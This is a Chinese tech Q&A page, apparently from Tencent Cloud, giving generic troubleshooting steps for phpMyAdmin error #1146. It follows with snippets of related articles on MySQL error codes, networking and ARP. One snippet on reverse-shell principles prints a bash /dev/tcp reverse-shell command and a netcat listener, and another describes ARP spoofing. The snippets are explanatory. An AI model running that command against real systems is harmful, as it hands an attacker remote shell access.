首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

无法访问本地主机/phpmyadmin- #1146 -表'phpmyadmin.pma_column_info‘不存在

问题描述:无法访问本地主机/phpmyadmin- #1146 -表'phpmyadmin.pma_column_info‘不存在

回答:

这个问题是由于在访问本地主机上的phpMyAdmin时,出现了一个错误,错误代码为#1146,错误信息为"表'phpmyadmin.pma_column_info'不存在"。这个错误通常是由于phpMyAdmin的配置问题或者数据库中的表丢失导致的。

解决这个问题的方法如下:

  1. 确认数据库是否正常:首先,确保你的数据库服务器正在运行,并且可以通过其他方式访问到数据库。可以尝试使用命令行工具(如MySQL命令行客户端)连接到数据库,查看是否能够正常访问。
  2. 检查phpMyAdmin的配置文件:打开phpMyAdmin的配置文件(通常是config.inc.php),确认其中的数据库连接配置是否正确。确保配置文件中指定的数据库名称、用户名和密码与实际数据库的配置一致。
  3. 检查数据库中的表:使用数据库管理工具(如MySQL命令行客户端或其他图形化工具)连接到数据库,检查是否存在名为'phpmyadmin.pma_column_info'的表。如果不存在,可能是由于某些原因导致该表被删除或者未正确创建。可以尝试重新安装或者修复phpMyAdmin来解决这个问题。
  4. 重新安装或更新phpMyAdmin:如果以上步骤都没有解决问题,可以尝试重新安装或更新phpMyAdmin。可以从phpMyAdmin官方网站下载最新版本的软件包,并按照官方文档进行安装或更新。

推荐的腾讯云相关产品和产品介绍链接地址:

请注意,以上推荐的产品和链接仅供参考,具体选择和使用需根据实际需求和情况进行。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

Mysql错误代码大全

1146错误:数据缺失,请恢复备份数据. 2002错误:服务器端口不对,请咨询空间商正确的端口。...:无效连接 1044:当前用户没有访问数据库的权限 1045:不能连接数据库,用户名或密码错误 1048:字段不能为空 1049:数据库不存在 1050:数据已存在 1051:数据不存在 1054:...:连接数据库失败,没有连接数据库的权限 1133:数据库用户不存在 1141:当前用户无权访问数据库 1142:当前用户无权访问数据 1143:当前用户无权访问数据中的字段 1146:数据不存在...:MYSQL字段不能为空 1049:MYSQL数据库不存在 1050:MYSQL数据已存在 1051:MYSQL数据不存在 1054:MYSQL字段不存在 1065:MYSQL无效的SQL语句,SQL...1146:MYSQL数据不存在 1147:MYSQL未定义用户对数据的访问权限 1149:MYSQL语句语法错误 1158:网络错误,出现读错误,请检查网络连接状况 1159:网络错误,读超时,请检查网络连接状况

4.7K40
  • MySQL备份文件.ibd、.frm、.MYD、.MYI的恢复教程

    本文链接:https://blog.csdn.net/xmt1139057136/article/details/93812537 昨天,微信群里一位网友问到:“备份的 frm文件恢复,有的提示不存在为什么...error: 1146: Table ‘xxx’ doesn’t exist ?...然后,我们将 test_2019.ibd 和 test_2019.frm 两个文件复制到本地的其他目录。 要恢复 test_2019 这张,我们先要用 SQL 创建出这种。 ?...虽然,你能通过 show tables 看到这张,但是当你 select 这张的时候,确报这张不存在,error: 1146: Table ‘xxx’ doesn’t exist。...恢复结构的 SQL 就很简单了,看下面的命令: ? 注意,上面有两个端口。–port=3309 这个指定的端口是你本地未被占用的端口。–user=root 表示以 root 用户运行。

    3K20

    小白学习MySQL - 聊聊数据备份的重要性

    [ERROR] Can't open and lock privilege tables: Unknown error 1146 ......根据一些资料,从文件夹的权限、启动命令等角度尝试解决均未果,但是数据文件目录还在本地磁盘中,既然旧库很难拉起来,能不能通过重建一套新的数据库,带动这些旧的数据文件?...1146不存在"'xxx' doesn't exist",此时要将旧的ibdata1拷到新的库路径,重新登陆,虽然日志中报了一堆错, [Warning] InnoDB: Cannot open table...但是此时能登录到旧的数据库访问了,惊不惊喜?激不激动? 不得不感叹一句,MySQL可真耐倒腾。...尽管如此,由于旧的ibdata1还是存在一些不兼容,mysql数据库中的一些此时就可能无法访问了,还可能出现其他的问题, [ERROR] InnoDB: Tablespace for table `

    77630

    如何部署 phpMyAdmin 服务

    phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。...其中一个更大的优势在于由于phpMyAdmin跟其他PHP程序一样在网页服务器上运行,但是您可以在任何地方使用这些程序产生的HTML页面,也就是于远程管理MySQL数据库,方便的创建、修改、删除数据库及数据。...本教程将教大家在你的网站部署 phpMyAdmin 服务,想学习的同学可以去腾讯云开发者实验室免费领取主机进行在线手动实验。如果打算长期使用,也可以购买一台服务器。...然后我们通过SSH软件登录服务器,如果你本地电脑是Windows情况下可以使用putty等软件,Linux及MacOS请使用终端进行连接。...-* -d /usr/share/nginx/html cd /usr/share/nginx/html/ sudo mv phpMyAdmin-* phpmyadmin 安装phpMyAdmin 上面步骤中

    4.6K3128

    MySQL常见错误码及说明

    1005:创建失败 1006:创建数据库失败 1007:数据库已存在,创建数据库失败<=================可以忽略 1008:数据库不存在,删除数据库失败<===============...1021:硬盘剩余空间不足,请加大硬盘可用空间 1022:关键字重复,更改记录失败 1023:关闭时发生错误 1024:读文件错误 1025:更改名字时发生错误 1026:写文件错误 1032:记录不存在...1040:已到达数据库的最大连接数,请加大数据库可用连接数 1041:系统内存不足 1042:无效的主机名 1043:无效连接 1044:当前用户没有访问数据库的权限 1045:不能连接数据库,用户名或密码错误...1048:字段不能为空 1049:数据库不存在 1050:数据已存在 1051:数据不存在 1054:字段不存在 1062:字段值重复,入库失败<=========================...:连接数据库失败,没有连接数据库的权限 1133:数据库用户不存在 1141:当前用户无权访问数据库 1142:当前用户无权访问数据 1143:当前用户无权访问数据中的字段 1146:数据不存在

    3.3K80

    局域网ping有时通有时不通_ping不通局域网电脑

    ping的过程,无论是源主机发出request请求还是目的主机回reply的过程,都是首先根据目的ip查找本地路由,确定下一跳的出口,然后根据下一跳的ip在arp缓存里确定是否有下一跳ip的mac地址...网关发给转发给目的主机,目的主机收到后,同样走查本地路由,查下一跳ip的mac地址,二三层组包发出的过程。...多网卡时,首先ipconfig/all检查各本地连接的状态?然后检查对应主机的防火墙是否设置,禁止了对ping的request进行响应?放开防火墙的ping request设置,或者关闭防火墙。...源ip就显示无法访问目的主机。 4.3 情况1没有对应路由的范例: 检查路由若没有默认路由,就得添加对应的网关地址,系统自动生成默认路由。...Ping出现无法访问目标主机时,一般是本机或者网关没有获得对方主机的mac地址,要么ip不存在或者没有开机或者arp消息对方没有收到。

    9.8K81

    ARP-基础-扫描-攻击-防范

    主机A要与主机B通信时,会先检查自身路由是否能够到达,然后在自己的本地ARP缓存中检查主机B的MAC地址 如果主机A在ARP缓存中没有找到映射,会广播发送ARP请求。...A要访问主机B的Web服务,根据ARP本地缓存的情况大致为两类: 第一类:主机A本地ARP缓存存在主机B记录 检查本地ARP缓存,发现存在主机B记录 向主机B发送TCP数据包 第二类:主机A本地ARP...缓存不存在主机B记录 检查本地ARP缓存不存在主机B记录 主机A广播ARP请求包,查询主机B的ARP信息 主机B接收到主机A的ARP请求包,并回复ARP信息 主机A收到回复,写入本地ARP缓存,...A向主机C的通讯就可能出现丢包 而当主机A的ARP本地缓存120秒到期后,本地ARP缓存为: 接口: 192.168.1.100 --- 0xb Internet 地址 物理地址...,合法用户的ARP信息无法正常学习,导致合法用户无法访问外网。

    2.3K10

    网络ping不通是什么原因?看过就明白

    01 同网段ping不通,结果是“无法访问目标主机” 目的ip和源ip是同一网段的,ping的结果是“无法访问目标主机” ,属于ping的请求没有发出。 我们来看下,ping同网段不存的ip地址。...ping的请求发出后,返回显示“无法访问目标主机"。 什么原因呢? 说明此时,ping的需求并没有成功发出,这时,要检查: 1、对方是否开机?ip是否存在?...01 跨网段ping不通,结果是“无法访问目标主机” 跨网段出现无法访问目标主机,说明请求没有成功发出,获取不了目的ip地址与mac地址。...可能出现的原因是: 1、目的ip地址不存在。...2、检查路由是否有缺省的路由 3、检查arp是否有网关的mac地址 4、有网关设置错误 5、走了默认路由 02 跨网段ping不通,结果是“time out” 若显示time

    18.9K22

    网络ping不通是什么原因?看过就明白

    01 同网段ping不通,结果是“无法访问目标主机” 目的ip和源ip是同一网段的,ping的结果是“无法访问目标主机” ,属于ping的请求没有发出。 我们来看下,ping同网段不存的ip地址。...ping的请求发出后,返回显示“无法访问目标主机"。 什么原因呢? 说明此时,ping的需求并没有成功发出,这时,要检查: 1、对方是否开机?ip是否存在?...01 跨网段ping不通,结果是“无法访问目标主机” 跨网段出现无法访问目标主机,说明请求没有成功发出,获取不了目的ip地址与mac地址。...可能出现的原因是: 1、目的ip地址不存在。...2、检查路由是否有缺省的路由 3、检查arp是否有网关的mac地址 4、有网关设置错误 5、走了默认路由 02 跨网段ping不通,结果是“time out” 若显示time

    2.8K20

    ARP欺骗与中间人攻击

    然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。 第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广 播到本地网络上的所有主机。...当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询。...ARP请求为广播形式发送的,网络上的主机可以自主发送 ARP应答消息,并且当其他主机收到应答报文时不会检测该报文的真实性就将其记录在本地的MAC地址转换,这样攻击者就可以向目标主机发送伪ARP应答报文...,从而篡改本地的MAC地址。...数据流转发 毒化了目标主机的ARP缓存之后,其经过网关外出的数据流将会发送到攻击者的主机。但此时由于目的地址出错,目标主机对外的请求将无法到达,亦即无法访问互联网了。

    1K30

    MySQL数据库常见报错案例与错误代码说明

    解决方法: 1、修复数据 可以使用下面的两种方式修复数据:(第一种方法仅适合独立主机用户) 1)使用myisamchk ,MySQL 自带了专门用户数据检查和修复的工具 ——myisamchk。...:系统内存不足 1042:无效的主机名 1043:无效连接 1044:当前用户没有访问数据库的权限 1045:不能连接数据库,用户名或密码错误 1048:字段不能为空 1049:数据库不存在 1050:...数据已存在 1051:数据不存在 1054:字段不存在 1065:无效的 SQL 语句,SQL 语句为空 1081:不能建立 Socket 连接 1114:数据已满,不能容纳任何记录 1116:打开的数据太多...1129:数据库出现异常,请重启数据库 1130:连接数据库失败,没有连接数据库的权限 1133:数据库用户不存在 1141:当前用户无权访问数据库 1142:当前用户无权访问数据 1143:当前用户无权访问数据中的字段...1146:数据不存在 1147:未定义用户对数据的访问权限 1149:SQL 语句语法错误 1158:网络错误,出现读错误,请检查网络连接状况 1159:网络错误,读超时,请检查网络连接状况 1160

    2K21

    vSAN架构解析与6.7功能介绍

    RAID-1写的时候,数据就会同时写到多个主机上,如上图的这两台主机的数据都是最新的,如果某台主机损坏,就无法访问其中的数据。...这里的无法访问具体情况有这几种,Absent状态下是主机在没有发出任何消息的情况下,主机的存储就突然无法访问。Degraded状态下是主机明确发出消息,比如硬盘损坏导致无法访问。...这些状态都可以在HTML 5的界面中看到,类似上图能够看到存储策略、组件状态、分布的主机。一旦无法访问active就会变成Absent、Degraded、Stale其中之一。...如果设备有副本就会在副本所在的主机上将副本标为已消失,然后再找一个新的设备进行Resync。如果不存在副本则会主动的将组件给转移到其它的主机上。...这时数据在进行I/O的时候本地和远程的主机都有可能被读取,而远程主机的读取延时是比较高的,所有在这种延伸集群中我们可以让vSAN 100%读取本地,以避免高延时,保障性能。

    2.2K31

    宿主机ping不通docker容器_kali虚拟机ping不通

    通过docker0网桥以及Iptables nat配置与宿主机通信。   ...一般修改的分为几种,以下一一试验: 修改daemon.json   容器无法访问宿主机是因为网桥分配的网段和宿主机冲突了,需要修改daemon.json进行指定分配,使用指令vim /etc/docker...关闭防火墙   容器无法通过网桥访问宿主机,也就无法访问外网,可能是防火墙阻止访问,可以关闭防火墙或者开启某个端口。...在服务器上测试,开启防火墙,发现容器确实无法访问百度首页也确实无法访问宿主机,在关闭防火墙并重启docker后,容器就能正常访问了。   但是,堡垒机上的防火墙原本就是关闭的,该方法也没用。...但是依旧没有用,堡垒机上的容器还是无法通过网桥访问宿主机无法访问外网。

    5.7K10

    建议收藏备查!MySQL 常见错误代码说明

    145 :文件无法打开 1005:创建失败 1006:创建数据库失败 1007:数据库已存在,创建数据库失败 1008:数据库不存在,删除数据库失败 1009:不能删除数据库文件导致删除数据库失败 1010...,更改记录失败 1023:关闭时发生错误 1024:读文件错误 1025:更改名字时发生错误 1026:写文件错误 1032:记录不存在 1036:数据是只读的,不能对它进行修改 1037:系统内存不足...,请重启数据库或重启服务器 1038:用于排序的内存不足,请增大排序缓冲区 1040:已到达数据库的最大连接数,请加大数据库可用连接数 1041:系统内存不足 1042:无效的主机名 1043:无效连接...1044:当前用户没有访问数据库的权限 1045:不能连接数据库,用户名或密码错误 1048:字段不能为空 1049:数据库不存在 1050:数据已存在 1051:数据不存在 1054:字段不存在...,没有连接数据库的权限 1133:数据库用户不存在 1141:当前用户无权访问数据库 1142:当前用户无权访问数据 1143:当前用户无权访问数据中的字段 1146:数据不存在 1147:未定义用户对数据的访问权限

    1.6K21

    建议收藏备查!MySQL 常见错误代码说明

    145 :文件无法打开 1005:创建失败 1006:创建数据库失败 1007:数据库已存在,创建数据库失败 1008:数据库不存在,删除数据库失败 1009:不能删除数据库文件导致删除数据库失败 1010...,更改记录失败 1023:关闭时发生错误 1024:读文件错误 1025:更改名字时发生错误 1026:写文件错误 1032:记录不存在 1036:数据是只读的,不能对它进行修改 1037:系统内存不足...,请重启数据库或重启服务器 1038:用于排序的内存不足,请增大排序缓冲区 1040:已到达数据库的最大连接数,请加大数据库可用连接数 1041:系统内存不足 1042:无效的主机名 1043:无效连接...1044:当前用户没有访问数据库的权限 1045:不能连接数据库,用户名或密码错误 1048:字段不能为空 1049:数据库不存在 1050:数据已存在 1051:数据不存在 1054:字段不存在...,没有连接数据库的权限 1133:数据库用户不存在 1141:当前用户无权访问数据库 1142:当前用户无权访问数据 1143:当前用户无权访问数据中的字段 1146:数据不存在 1147:未定义用户对数据的访问权限

    2.4K50

    shell反弹原理

    靶机在内网 当靶机在内网时,设置了防火墙安全策略等,外网无法访问靶机,靶机却可以访问外网。 原理 原理非常简单,当在以上两种场景时,无法直接连接到webshell时,可以换一种策略。...bash -i >& /dev/tcp/192.168.1.1/11111 0>&1 //目标主机执行命令(192.168.1.1攻击主机地址) nc -lvp 11111 //...输出重定向,追加不覆盖原内容 < 输入重定向,覆盖原内容 << 输入重定向,追加不覆盖原内容 >& 将符号前后内容结合重定向给后者 Linux中0代输入...,一般默认的输入是键盘;1代输出,默认输出是bash界面;2代表错误日志输出,默认也是界面。...Other 经过上诉命令,则可以将shell反弹到本地主机,就像ssh远程连接目标主机一样,可以在本地输入shell命令且可以看到命令输出结果。 本地监听11111端口即可达成完整的shell反弹。

    51620

    Linux中Apache网站基于Http服务的访问限制(基于地址用户)

    1.客户机地址限制 通过Require配置项,可以根据主机主机名或IP地址来决定是否允许客户端访问,在httpd服务器的主配置文件的,,,<Limit...限制策略的常用格式: Require all granted 表示允许所有主机访问 Require all denied 表示拒绝所有主机访问 Require local...表示仅允许本地主机访问 Require [not] host : 表示允许或拒绝指定主机或域访问 Require [not] ip:...测试 192.168.93.112 无法访问因为我们 设置了拒绝的流量 报错403无法访问 192.168.93.113访问是可以的 因为我们没有拒绝它访问httpd 2.用户授权限制 Apache HTTP...-c :此选项告诉 htpasswd 创建一个新的密码文件(如果它不存在)。 /etc/httpd/conf/.awspwd :指定新密码文件的路径和文件名。请注意,文件名以点 (.)

    33510
    领券